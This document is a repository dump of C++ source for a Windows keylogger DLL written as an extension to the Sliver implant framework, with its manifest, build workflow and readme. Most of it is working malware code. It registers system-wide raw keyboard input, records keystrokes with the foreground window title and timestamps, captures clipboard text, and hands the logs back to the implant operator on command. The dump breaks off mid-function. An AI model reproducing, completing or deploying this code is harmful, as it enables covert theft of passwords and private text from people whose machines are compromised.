├── SliverKeylogger ├── pch.h ├── keylogger.h ├── dllmain.cpp ├── SharedQueue.h ├── parser.h ├── WinMsgHandler.h ├── SharedQueue.cpp ├── SliverKeylogger.vcxproj.filters ├── parser.cpp ├── keylogger.cpp ├── WinMsgHandler.cpp └── SliverKeylogger.vcxproj ├── extension.json ├── LICENSE.txt ├── SliverKeylogger.sln ├── .github └── workflows │ └── autorelease.yml ├── .gitattributes ├── readme.md └── .gitignore /SliverKeylogger/pch.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include -------------------------------------------------------------------------------- /SliverKeylogger/keylogger.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "WinMsgHandler.h" 4 | #include "SharedQueue.h" 5 | 6 | class keylogger 7 | { 8 | public: 9 | 10 | 11 | private: 12 | std::unique_ptr _keyloggerWin; 13 | std::shared_ptr keylogPipe; 14 | std::unique_ptr messagePump; 15 | }; 16 | 17 | typedef int (*goCallback)(const char*, int); 18 | 19 | extern "C" { 20 | __declspec(dllexport) int __cdecl entrypoint(char* argsBuffer, uint32_t bufferSize, goCallback callback); 21 | } -------------------------------------------------------------------------------- /SliverKeylogger/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | extern "C" { 3 | HINSTANCE hInst = nullptr; 4 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 5 | { 6 | if (hInst == nullptr) { hInst = hinstDLL; } 7 | switch (fdwReason) 8 | { 9 | case DLL_PROCESS_ATTACH: 10 | break; 11 | 12 | case DLL_PROCESS_DETACH: 13 | break; 14 | 15 | case DLL_THREAD_ATTACH: 16 | break; 17 | 18 | case DLL_THREAD_DETACH: 19 | break; 20 | } 21 | 22 | return TRUE; 23 | } 24 | } -------------------------------------------------------------------------------- /SliverKeylogger/SharedQueue.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include 4 | #include 5 | class SharedQueue 6 | { 7 | public: 8 | DWORD Count(); 9 | bool empty(); 10 | std::string convertToMultiByte(std::wstring& Value); 11 | void Push(std::string& Value); 12 | void Push(std::string&& Value); 13 | void Push(std::wstring& Value); 14 | void Push(std::wstring&& Value); 15 | std::wstring Pop(); 16 | 17 | private: 18 | std::wstring_convert> converter; 19 | std::mutex queue_mutex{}; 20 | std::queue _queue{}; 21 | DWORD _count{ 0 }; 22 | }; 23 | 24 | -------------------------------------------------------------------------------- /extension.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "raw_keylogger", 3 | "version": "0.0.1", 4 | "command_name": "raw_keylogger", 5 | "extension_author": "TrustedSec", 6 | "original_author": "TrustedSec", 7 | "repo_url": "N/A", 8 | "help": "Logs keystrokes using the raw input interface\n\t0 = stop\n\t1 = start\n\t2 = get keystrokes", 9 | "entrypoint": "entrypoint", 10 | "files": [ 11 | { 12 | "os": "windows", 13 | "arch": "amd64", 14 | "path": "SliverKeylogger.x64.dll" 15 | }, 16 | { 17 | "os": "windows", 18 | "arch": "386", 19 | "path": "SliverKeylogger.x86.dll" 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /SliverKeylogger/parser.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Cobalt Strike 4.X BOF compatibility layer 3 | * ----------------------------------------- 4 | * The whole point of these files are to allow beacon object files built for CS 5 | * to run fine inside of other tools without recompiling. 6 | * 7 | * Built off of the beacon.h file provided to build for CS. 8 | */ 9 | #ifndef BEACON_COMPATIBILITY_H_ 10 | /* Structures as is in beacon.h */ 11 | 12 | typedef struct { 13 | char * original; /* the original buffer [so we can free it] */ 14 | char * buffer; /* current pointer into our buffer */ 15 | int length; /* remaining length of data */ 16 | int size; /* total size of this buffer */ 17 | } datap; 18 | 19 | 20 | void BeaconDataParse(datap * parser, char * buffer, int size); 21 | int BeaconDataInt(datap * parser); 22 | short BeaconDataShort(datap * parser); 23 | int BeaconDataLength(datap * parser); 24 | char * BeaconDataExtract(datap * parser, int * size); 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /SliverKeylogger/WinMsgHandler.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "SharedQueue.h" 4 | 5 | #define WM_STARTLOG 0x401 6 | #define WM_STOPLOG 0x402 7 | #define WM_DEBUG 0x403 8 | extern "C" { 9 | extern HINSTANCE hInst; 10 | } 11 | class WinMsgHandler 12 | { 13 | public: 14 | WinMsgHandler(std::shared_ptr queue); 15 | ~WinMsgHandler(); 16 | HWND wHandle{ nullptr }; 17 | 18 | protected: 19 | static LRESULT CALLBACK baseHandle(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 20 | LRESULT classHandleMsg(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 21 | LRESULT HandleClipboard(); 22 | 23 | 24 | private: 25 | void checkFocus(UINT keychar); 26 | void pushKey(USHORT keyChar, USHORT vkey); 27 | bool isShifted{ false }; 28 | bool isCtrled{ false }; 29 | bool isAlted{ false }; 30 | bool caplock{ false }; // initalized when keylogger is started 31 | HWND hPrevWind{ nullptr }; 32 | std::shared_ptr _queue; 33 | HKL locale{ nullptr }; 34 | 35 | 36 | }; 37 | 38 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) [year] [fullname] 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SliverKeylogger/SharedQueue.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "SharedQueue.h" 3 | 4 | DWORD SharedQueue::Count() 5 | { 6 | std::lock_guard l{ queue_mutex }; 7 | return _count; 8 | } 9 | 10 | bool SharedQueue::empty() 11 | { 12 | std::lock_guard l{ queue_mutex }; 13 | return _count == 0; 14 | } 15 | 16 | std::string SharedQueue::convertToMultiByte(std::wstring& Value) 17 | { 18 | return this->converter.to_bytes(Value); 19 | } 20 | 21 | void SharedQueue::Push(std::string& Value) 22 | { 23 | this->Push(this->converter.from_bytes(Value)); 24 | } 25 | 26 | void SharedQueue::Push(std::string&& Value) 27 | { 28 | this->Push(this->converter.from_bytes(Value)); 29 | } 30 | 31 | void SharedQueue::Push(std::wstring& Value) 32 | { 33 | std::lock_guard l{ queue_mutex }; 34 | _queue.push(Value); 35 | _count++; 36 | } 37 | 38 | void SharedQueue::Push(std::wstring&& Value) 39 | { 40 | std::lock_guard l{ queue_mutex }; 41 | _queue.push(std::move(Value)); 42 | _count++; 43 | } 44 | 45 | std::wstring SharedQueue::Pop() 46 | { 47 | std::lock_guard l{ queue_mutex }; 48 | if (_count == 0) 49 | { 50 | return nullptr; 51 | } 52 | auto tmp = _queue.front(); _queue.pop(); 53 | _count--; 54 | return std::move(tmp); 55 | } 56 | -------------------------------------------------------------------------------- /SliverKeylogger.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32516.85 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SliverKeylogger", "SliverKeylogger\SliverKeylogger.vcxproj", "{C0263427-3BFC-406E-A334-A268E0E35FC7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Debug|x64.ActiveCfg = Debug|x64 17 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Debug|x64.Build.0 = Debug|x64 18 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Debug|x86.ActiveCfg = Debug|Win32 19 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Debug|x86.Build.0 = Debug|Win32 20 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Release|x64.ActiveCfg = Release|x64 21 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Release|x64.Build.0 = Release|x64 22 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Release|x86.ActiveCfg = Release|Win32 23 | {C0263427-3BFC-406E-A334-A268E0E35FC7}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {FD27EAE6-C4C5-40EE-A43D-7C462F75D404} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SliverKeylogger/SliverKeylogger.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | Source Files 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /SliverKeylogger/parser.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Cobalt Strike 4.X BOF compatibility layer 3 | * ----------------------------------------- 4 | * The whole point of these files are to allow beacon object files built for CS 5 | * to run fine inside of other tools without recompiling. 6 | * 7 | * Built off of the beacon.h file provided to build for CS. 8 | */ 9 | 10 | #include "pch.h" 11 | #include "parser.h" 12 | 13 | 14 | void BeaconDataParse(datap* parser, char* buffer, int size) { 15 | if (parser == NULL) { 16 | return; 17 | } 18 | parser->original = buffer; 19 | parser->buffer = buffer; 20 | parser->length = size - 4; 21 | parser->size = size - 4; 22 | parser->buffer += 4; 23 | return; 24 | } 25 | 26 | int BeaconDataInt(datap* parser) { 27 | int32_t fourbyteint = 0; 28 | if (parser->length < 4) { 29 | return 0; 30 | } 31 | memcpy(&fourbyteint, parser->buffer, 4); 32 | parser->buffer += 4; 33 | parser->length -= 4; 34 | return (int)fourbyteint; 35 | } 36 | 37 | short BeaconDataShort(datap* parser) { 38 | int16_t retvalue = 0; 39 | if (parser->length < 2) { 40 | return 0; 41 | } 42 | memcpy(&retvalue, parser->buffer, 2); 43 | parser->buffer += 2; 44 | parser->length -= 2; 45 | return (short)retvalue; 46 | } 47 | 48 | int BeaconDataLength(datap* parser) { 49 | return parser->length; 50 | } 51 | 52 | char* BeaconDataExtract(datap* parser, int* size) { 53 | uint32_t length = 0; 54 | char* outdata = NULL; 55 | /*Length prefixed binary blob, going to assume uint32_t for this.*/ 56 | if (parser->length < 4) { 57 | return NULL; 58 | } 59 | memcpy(&length, parser->buffer, 4); 60 | parser->buffer += 4; 61 | 62 | outdata = parser->buffer; 63 | if (outdata == NULL) { 64 | return NULL; 65 | } 66 | parser->length -= 4; 67 | parser->length -= length; 68 | parser->buffer += length; 69 | if (size != NULL && outdata != NULL) { 70 | *size = length; 71 | } 72 | return outdata; 73 | } 74 | 75 | -------------------------------------------------------------------------------- /.github/workflows/autorelease.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | push: 5 | tags: ["v[0-9]+.[0-9]+.[0-9]+"] 6 | branches: ["master"] 7 | 8 | jobs: 9 | build-dll: 10 | name: Build and publish tagged release 11 | if: startsWith( github.ref, 'refs/tags/v') 12 | runs-on: windows-2019 13 | timeout-minutes: 10 14 | steps: 15 | 16 | - name: Download Tools 17 | run: | 18 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 19 | Invoke-WebRequest -Verbose -Uri https://github.com/moloch--/minisign/releases/download/v0.2.1/minisign.exe -OutFile minisign.exe 20 | ls 21 | 22 | - name: checkout code 23 | uses: actions/checkout@v3 24 | 25 | - name: setup-msbuild 26 | uses: microsoft/setup-msbuild@v1.1 27 | with: 28 | msbuild-architecture: x64 29 | 30 | - name: build_x64 31 | run: "msbuild -p:Configuration=Release -p:Platform=x64 SliverKeylogger.sln" 32 | 33 | - name: setup-msbuild 34 | uses: microsoft/setup-msbuild@v1.1 35 | with: 36 | msbuild-architecture: x86 37 | 38 | - name: build_x86 39 | run: "msbuild -p:Configuration=Release -p:Platform=x86 SliverKeylogger.sln" 40 | 41 | - name: make package 42 | run: | 43 | mkdir raw_keylogger 44 | copy bin\\SliverKeylogger.x86.dll raw_keylogger\\SliverKeylogger.x86.dll 45 | copy bin\\SliverKeylogger.x64.dll raw_keylogger\\SliverKeylogger.x64.dll 46 | copy extension.json raw_keylogger\\extension.json 47 | tar -czvf raw_keylogger.tar.gz raw_keylogger 48 | 49 | - name: sign package 50 | run: | 51 | Write-Output "${{ secrets.MINISIGN_PRIVATE_KEY }}" > minisign.key 52 | $Content1 = Get-Content -Path ./raw_keylogger/extension.json 53 | $Bytes = [System.Text.Encoding]::UTF8.GetBytes($Content1) 54 | $Encoded = [System.Convert]::ToBase64String($Bytes) 55 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 56 | Invoke-WebRequest -Verbose -Uri https://github.com/moloch--/minisign/releases/download/v0.2.1/minisign.exe -OutFile minisign.exe 57 | ls 58 | .\minisign.exe -s minisign.key -S -m raw_keylogger.tar.gz -t "$Encoded" -x raw_keylogger.minisig 59 | 60 | - name: "Publish Release" 61 | uses: "marvinpinto/action-automatic-releases@latest" 62 | with: 63 | repo_token: "${{ secrets.GITHUB_TOKEN }}" 64 | prerelease: false 65 | files: | 66 | raw_keylogger.minisig 67 | raw_keylogger.tar.gz 68 | 69 | 70 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Sliver Keylogger 2 | 3 | This extension to sliver was written mostly as a learning exercise ![image](https://user-images.githubusercontent.com/3172440/174394786-94255ada-2263-4b0b-8076-348b852b2546.png) 4 | into how sliver handles extensions. 5 | 6 | I would like to thank the entire [Sliver](https://github.com/BishopFox/sliver) team for there work on this public implant framework. 7 | I would especially like to thank [@rkervell](https://twitter.com/rkervell) for answering many of my questions related to how sliver handles it extensions 8 | 9 | ## how does this work 10 | 11 | Basically it uses [raw input](https://docs.microsoft.com/en-us/windows/win32/inputdev/raw-input). This has advantages and disadvantages to other common keylogging methods. 12 | 13 | I like it because it doesn't require injecting into other binaries, nor does it require polling a given call frequently and potentially missing results. 14 | 15 | This code is some of my own work and some of a mash of examples found around the internet. 16 | 17 | ## how to build it 18 | 19 | open the solution file using visual studio 2019, and build the x86 and x64 releases 20 | 21 | ## how to load / install it 22 | 23 | Until this is potentially included in the [armory](https://github.com/sliverarmory) it can be built on a windows system. then the resulting $(solutiondir)\bin folder can be placed on the sliver client 24 | and `extensions install ` can be run to install the extension. you may need to restart or also run `extensions load ` 25 | 26 | ## usage 27 | 28 | raw_keylogger \ 29 | 30 | the following cmdid's are valid 31 | ``` 32 | 0 = stop 33 | 1 = start 34 | 2 = get keystrokes 35 | ``` 36 | 37 | if everything goes well it will look like this 38 | ![Screen Shot 2022-06-17 at 3 05 09 PM](https://user-images.githubusercontent.com/3172440/174394494-95aebc3f-3250-4374-9feb-33b5286cf2a7.png) 39 | 40 | ## lessons learned 41 | 42 | Sliver's api has the following two main parts 43 | ```cpp 44 | typedef int (*goCallback)(const char*, int); 45 | 46 | extern "C" { 47 | __declspec(dllexport) int __cdecl entrypoint(char* argsBuffer, uint32_t bufferSize, goCallback callback); 48 | } 49 | ``` 50 | 51 | the implant will call the "entrypoint" as defined in the .json file. it points to your entrypoint function (doesn't have to have that name, just follow the signature) 52 | 53 | goCallback is a function for returning output to go. its called like `callback(string, string_length)` 54 | 55 | When coding the extension for now the "name" and "command_name" must match, otherwise the implant will reload your extension on every call. 56 | 57 | As of this writing non-BOF extensions don't support strongly typed arguments, so everything provided on the cli after the command name will be sent down as a string. you have to handle it from there on the extension's native code side. 58 | -------------------------------------------------------------------------------- /SliverKeylogger/keylogger.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "parser.h" 3 | #include "WinMsgHandler.h" 4 | #include "SharedQueue.h" 5 | #include "keylogger.h" 6 | //This is in essence the Sliver api, We have a goCallback to return data, and a defined entrypoint to receive input 7 | //Init function can exist if needed 8 | 9 | 10 | //State Tracking Between calls 11 | bool keypumpRunning = false; 12 | std::unique_ptr messagePump{nullptr}; 13 | std::shared_ptr _queue{nullptr}; 14 | std::unique_ptr msg_handler{nullptr}; 15 | 16 | void startKeylogger() 17 | { 18 | 19 | msg_handler = std::make_unique(_queue); //Create our window to capture messages 20 | MSG msg{ 0 }; 21 | 22 | //Request Clipboard messages 23 | AddClipboardFormatListener(msg_handler->wHandle); 24 | keypumpRunning = true; 25 | while (keypumpRunning && GetMessageW(&msg, msg_handler->wHandle, 0, 0)) //Start our message pump 26 | { 27 | TranslateMessage(&msg); 28 | DispatchMessageW(&msg); 29 | } 30 | keypumpRunning = false; // Just in case we exited based on an error in capturing we'll reset running to false here 31 | RemoveClipboardFormatListener(msg_handler->wHandle); 32 | msg_handler.reset(nullptr); 33 | } 34 | 35 | 36 | int entrypoint(char* argsBuffer, uint32_t bufferSize, goCallback callback) 37 | { 38 | int cmd = -1; 39 | if (bufferSize < 1) 40 | { 41 | std::string msg{ "You must provide a command.\n\t0 = stop\n\t1 = start\n\t2 = get logs" }; 42 | callback(msg.c_str(), msg.length()); 43 | } 44 | else 45 | { 46 | cmd = argsBuffer[0] - '0'; // atoi would return 0 if it couldn't convert, this will only return 0 if the first char is 0 47 | } 48 | switch (cmd) 49 | { 50 | case 0: //stop 51 | if (!keypumpRunning) 52 | { 53 | std::string msg{ "Currently not logging keystrokes, can't stop what we havn't started" }; 54 | callback(msg.c_str(), msg.length()); 55 | } 56 | else 57 | { 58 | SendMessageW(msg_handler->wHandle, WM_CLOSE, NULL, NULL); 59 | keypumpRunning = false; 60 | messagePump->join(); 61 | messagePump.reset(); 62 | _queue.reset(); 63 | std::string msg{ "Keylogger stopped" }; 64 | callback(msg.c_str(), msg.length()); 65 | } 66 | break; 67 | case 1: // start 68 | if (keypumpRunning) 69 | { 70 | std::string msg{ "Can't double start keylogger, refusing command" }; 71 | callback(msg.c_str(), msg.length()); 72 | } 73 | else 74 | { 75 | _queue = std::make_shared(); 76 | messagePump = std::make_unique(&startKeylogger); 77 | 78 | } 79 | break; 80 | case 2: // get logs 81 | if (!keypumpRunning) 82 | { 83 | std::string msg{ "Keylogger must be running to get its output" }; 84 | callback(msg.c_str(), msg.length()); 85 | } 86 | else 87 | { 88 | std::wstring results{}; 89 | while (!_queue->empty()) 90 | { 91 | results += _queue->Pop(); 92 | } 93 | std::string utf8_results = _queue->convertToMultiByte(results); 94 | if (utf8_results.length() == 0) 95 | { 96 | std::string msg{ "No keystrokes have been captured" }; 97 | callback(msg.c_str(), msg.length()); 98 | } 99 | callback(utf8_results.c_str(), utf8_results.length()); 100 | } 101 | break; 102 | default: 103 | { 104 | std::string msg{ "invalid command received" }; 105 | callback(msg.c_str(), msg.length()); 106 | } 107 | } 108 | 109 | return 0; 110 | } 111 | 112 | -------------------------------------------------------------------------------- /SliverKeylogger/WinMsgHandler.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "WinMsgHandler.h" 3 | 4 | 5 | //Roll out of trying to integrate MFC and simplify this 6 | WinMsgHandler::WinMsgHandler(std::shared_ptr queue) : _queue(queue) 7 | { 8 | WNDCLASS wc{ 0 }; 9 | wc.lpfnWndProc = this->baseHandle; 10 | wc.hInstance = hInst; 11 | wc.lpszClassName = L"Form1"; 12 | 13 | RegisterClassW(&wc); 14 | wHandle = CreateWindowW(wc.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInst, this); 15 | 16 | } 17 | 18 | WinMsgHandler::~WinMsgHandler() 19 | { 20 | if (wHandle) 21 | DestroyWindow(wHandle); 22 | } 23 | 24 | LRESULT WinMsgHandler::baseHandle(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 25 | { 26 | if (WM_NCCREATE == message) 27 | { 28 | SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)((CREATESTRUCT*)lParam)->lpCreateParams); 29 | return TRUE; 30 | } 31 | return ((WinMsgHandler*)GetWindowLongPtr(hWnd, GWLP_USERDATA))->classHandleMsg(hWnd, message, wParam, lParam); 32 | } 33 | 34 | LRESULT WinMsgHandler::classHandleMsg(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 35 | { 36 | UINT dwSize = 0; 37 | switch (message) { 38 | 39 | case WM_CREATE: { 40 | locale = GetKeyboardLayout(0); 41 | RAWINPUTDEVICE rid{ 0 }; 42 | rid.dwFlags = RIDEV_INPUTSINK; // ignore legacy messages, hotkeys and receive system wide keystrokes 43 | rid.usUsagePage = 1; // raw keyboard data only 44 | rid.usUsage = 6; 45 | rid.hwndTarget = hWnd; 46 | RegisterRawInputDevices(&rid, 1, sizeof(rid)); 47 | caplock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; 48 | break; 49 | }// end case WM_CREATE 50 | 51 | case WM_DESTROY: { 52 | RAWINPUTDEVICE rid{ 0 }; 53 | rid.dwFlags = RIDEV_REMOVE; // ignore legacy messages, hotkeys and receive system wide keystrokes 54 | rid.usUsagePage = 1; // raw keyboard data only 55 | rid.usUsage = 6; 56 | rid.hwndTarget = hWnd; 57 | RegisterRawInputDevices(&rid, 1, sizeof(rid)); 58 | PostQuitMessage(0); 59 | break; 60 | }// end case WM_DESTROY 61 | 62 | case WM_INPUT: { 63 | if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)) == -1) { 64 | PostQuitMessage(0); 65 | break; 66 | } 67 | 68 | LPBYTE lpb = new BYTE[dwSize]; 69 | if (lpb == NULL) { 70 | PostQuitMessage(0); 71 | break; 72 | } 73 | 74 | if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) { 75 | delete[] lpb; 76 | PostQuitMessage(0); 77 | break; 78 | } 79 | 80 | PRAWINPUT raw = (PRAWINPUT)lpb; 81 | UINT Event; 82 | 83 | Event = raw->data.keyboard.Message; 84 | USHORT legacyVkey = raw->data.keyboard.VKey; 85 | USHORT ScanKey = raw->data.keyboard.MakeCode; 86 | //UINT keyChar = MapVirtualKey(raw->data.keyboard.VKey, MAPVK_VK_TO_CHAR); 87 | delete[] lpb; // free this now 88 | 89 | 90 | switch (Event) { 91 | 92 | case WM_KEYDOWN: { 93 | if (legacyVkey == VK_SHIFT) 94 | { 95 | isShifted = true; 96 | break; 97 | } 98 | else if (legacyVkey == VK_CAPITAL) 99 | { 100 | caplock = !caplock; 101 | break; 102 | } 103 | else if (legacyVkey == VK_MENU) 104 | { 105 | isAlted = true; 106 | break; 107 | } 108 | else if (legacyVkey == VK_CONTROL) 109 | { 110 | isCtrled = true; 111 | break; 112 | } 113 | else 114 | { 115 | pushKey(ScanKey, legacyVkey); 116 | break; 117 | } 118 | break; 119 | }// end WM_KEYDOWN 120 | case WM_KEYUP: { 121 | if (legacyVkey == VK_SHIFT) 122 | { 123 | isShifted = false; 124 | break; 125 | } 126 | else if (legacyVkey == VK_MENU) 127 | { 128 | isAlted = false; 129 | break; 130 | } 131 | else if (legacyVkey == VK_CONTROL) 132 | { 133 | isCtrled = false; 134 | break; 135 | } 136 | break; 137 | } 138 | 139 | default: 140 | break; 141 | }//end switch 142 | break; 143 | }// end case WM_INPUT 144 | case WM_CLIPBOARDUPDATE: { 145 | HandleClipboard(); 146 | break; 147 | } 148 | default: 149 | return DefWindowProc(hWnd, message, wParam, lParam); 150 | }// end switch 151 | return 0; 152 | } 153 | 154 | void WinMsgHandler::checkFocus(UINT keyChar) 155 | { 156 | CHAR window_title[256] = ""; 157 | CHAR wt[300] = ""; 158 | SYSTEMTIME curr_time; 159 | GetLocalTime(&curr_time); 160 | 161 | auto hActiveWindow = GetForegroundWindow(); 162 | GetWindowTextA(hActiveWindow, window_title, 256); 163 | 164 | //Insert reference to the current window 165 | if ((hActiveWindow != hPrevWind)) { 166 | 167 | snprintf(wt, 299, "\r\n%d-%d-%d %d:%d [ %s ]\r\n", curr_time.wYear, curr_time.wMonth, 168 | curr_time.wDay, curr_time.wHour, curr_time.wMinute, window_title); 169 | 170 | _queue->Push(std::string(wt)); 171 | hPrevWind = hActiveWindow; 172 | } 173 | } 174 | 175 | LRESULT WinMsgHandler::HandleClipboard() 176 | { 177 | if (IsClipboardFormatAvailable(CF_UNICODETEXT)) //System should convert between different text types automatically 178 | { 179 | if (!OpenClipboard(wHandle)) 180 | return 0; 181 | auto hglb = GetClipboardData(CF_UNICODETEXT); 182 | if (hglb != nullptr) 183 | { 184 | auto str = (wchar_t*)GlobalLock(hglb); 185 | if (str) 186 | { 187 | checkFocus(0); 188 | _queue->Push(std::wstring(L"\r\n------[COPY START]----\r\n")); 189 | _queue->Push(std::wstring(str)); 190 | _queue->Push(std::wstring(L"\r\n------[COPY END]----\r\n")); 191 | } 192 | GlobalUnlock(hglb); 193 | } 194 | CloseClipboard(); 195 | } 196 | 197 | return 0; 198 | } 199 | 200 | void WinMsgHandler::pushKey(USHORT scanCode, USHORT vkey) 201 | { 202 | auto s = std::wstring(); 203 | unsigned char legacyVkey = vkey & 0xFF; 204 | 205 | 206 | // handle backspaces 207 | switch (legacyVkey) 208 | { 209 | case VK_BACK: 210 | s = L"[bs]"; 211 | break; 212 | case VK_TAB: 213 | s = L"[TAB]"; 214 | break; 215 | case VK_RETURN: 216 | s = L"[enter]\r\n"; 217 | break; 218 | case VK_SPACE: 219 | s = L" "; 220 | break; 221 | case VK_PRIOR: 222 | s = L"[page up]"; 223 | break; 224 | case VK_NEXT: 225 | s = L"[page down]"; 226 | break; 227 | case VK_END: 228 | s = L"[END]"; 229 | break; 230 | case VK_HOME: 231 | s = L"[HOME]"; 232 | break; 233 | case VK_LEFT: 234 | s = L"[←]"; 235 | break; 236 | case VK_UP: 237 | 